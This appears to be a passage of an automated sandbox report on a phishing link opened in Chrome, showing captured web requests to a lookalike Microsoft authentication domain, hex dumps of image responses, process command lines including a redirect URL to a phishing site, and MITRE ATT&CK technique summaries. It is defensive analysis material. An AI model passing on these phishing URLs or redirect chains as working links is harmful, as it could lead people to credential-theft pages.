2025-01-15 09:07:37 UTC	3627	IN	Data Raw: 65 32 34 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 Data Ascii: e24GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`
2025-01-15 09:07:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50065	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:35 UTC	822	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onlineauthenticationrelayservices.rnantengu.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:37 UTC	755	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:37 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:47 GMT etag: 0x8DB5C3F48EC4154 x-ms-request-id: 67cd479d-101e-0016-78bd-660a2c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090736Z-155884f84d462pv9hC1BL13pf800000001q000000000pt7q x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes
2025-01-15 09:07:37 UTC	2679	IN	Data Raw: 61 37 30 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e Data Ascii: a70GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~
2025-01-15 09:07:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50076	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:36 UTC	838	OUT	GET /cf4691c709594b658426624fe3bf208f/ HTTP/1.1 Host: onlineauthenticationrelayservices.rnantengu.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://onlineauthenticationrelayservices.rnantengu.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=fd123344-e637-4d6c-b4da-320d728dd8cc; brcap=0 Sec-WebSocket-Key: Ak1+BwaxxhjY/ZeoAkOazQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-15 09:07:38 UTC	741	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 15 Jan 2025 09:07:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: ba5016d0-498b-4e6a-aaf8-430477251d00 x-ms-ests-server: 2.1.19870.3 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://b5b24357-cf4691c7.rnantengu.com/api/report?catId=GW+estsfd+ams2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-15 09:07:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50082	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:37 UTC	556	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:39 UTC	761	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:39 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:47 GMT etag: 0x8DB5C3F48EC4154 x-ms-request-id: 81f5f6b2-701e-0079-43a4-6048cd000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090738Z-1698bcdb8c7zkk7zhC1BL177p80000000t7000000000wtv7 x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes
2025-01-15 09:07:39 UTC	2679	IN	Data Raw: 61 37 30 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e Data Ascii: a70GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~
2025-01-15 09:07:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50083	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:37 UTC	550	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:39 UTC	755	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:39 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4904824B x-ms-request-id: dda12d13-401e-0046-7956-65c87c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090739Z-155884f84d48lcd8hC1BL1vwus00000006a0000000006z59 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes
2025-01-15 09:07:39 UTC	3627	IN	Data Raw: 65 32 34 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 Data Ascii: e24GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`
2025-01-15 09:07:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	04:06:14
Start date:	15/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	04:06:20
Start date:	15/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2228,i,10795531608968129208,3119711031500840883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	04:06:26
Start date:	15/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://realazure.action.azurecomm.net/api/v2/a/c?url=https://evoicemanageroauth-receptionextension.ayesgroup.com.tr/api/&d=AIAACYB2LC5AFHPW2VWJHSV6UVQVRFTHKQBDW7UWQ3KNJXOX5BDUSXJ3ZQRQJPJ5OCLBPZWKD4BJYLQE5BL3GPZPYFC3R7C3HOFZMPETSYONQACZBWKXDVJSZWINJEC6Z4RKVWOIGO4NDLG6FQA6LFOFNHOYVHNU6O5BF2CIF5XY7JZBYIXDHOQTPGKEQXDCQ5S3LP7YSIX6WCUPVILRNCLWJT2MHVSBN2DFV42FB6TTKWPS3I3ZHCMOW63EIPBFPUC2TNHK25YXIBLVSK2QFSGRKUWIP7I&s=CJMEZBXJGCDDZHAVATKKCN5IOIKFCP44FAQWT2LF3YTNOXOSBYKA"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74